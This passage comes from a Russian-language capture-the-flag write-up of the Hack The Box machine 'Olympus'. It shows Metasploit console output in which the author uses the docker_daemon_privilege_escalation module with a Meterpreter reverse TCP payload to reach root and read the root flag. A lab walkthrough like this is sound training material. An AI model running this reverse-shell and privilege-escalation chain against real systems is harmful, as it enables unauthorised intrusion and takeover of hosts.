[*] Meterpreter session 1 opened (10.10.14.14:4444 -> 10.10.10.83:48154) at 2018-08-26 11:02:13 -0400

Дальше как по нотам: уходим в фон, выбираем нужную нагрузку (docker_daemon_privilege_escalation) для апгрейда сессии и получаем права суперпользователя:

meterpreter > CTRL-Z
Background session 1? [y/N] y
msf exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                             Connection
  --  ----  ----                   -----------                                             ----------
  1         meterpreter x86/linux  uid=1000, gid=1000, euid=1000, egid=1000 @ 10.10.10.83  10.10.14.14:4444 -> 10.10.10.83:48154 (10.10.10.83)

msf exploit(multi/handler) > use exploit/linux/local/docker_daemon_privilege_escalation
msf exploit(linux/local/docker_daemon_privilege_escalation) > show options

Module options (exploit/linux/local/docker_daemon_privilege_escalation):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.14      yes       The listen address (an interface may be specified)
   LPORT  4444              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(linux/local/docker_daemon_privilege_escalation) > run

[*] Started reverse TCP handler on 10.10.14.14:4444
[*] Writing payload executable to '/tmp/mfmDpJe'
[*] Executing script to create and run docker container
[*] Sending stage (861480 bytes) to 10.10.10.83
[*] Waiting 60s for payload
[*] Meterpreter session 3 opened (10.10.14.14:4444 -> 10.10.10.83:48162) at 2018-08-26 11:08:30 -0400

meterpreter > getuid
Server username: uid=1000, gid=1000, euid=0, egid=1000

meterpreter > cat /root/root.txt
aba48699????????????????????????

Olympus пройден :triumph:

owned-user.png

owned-root.png

trophy.png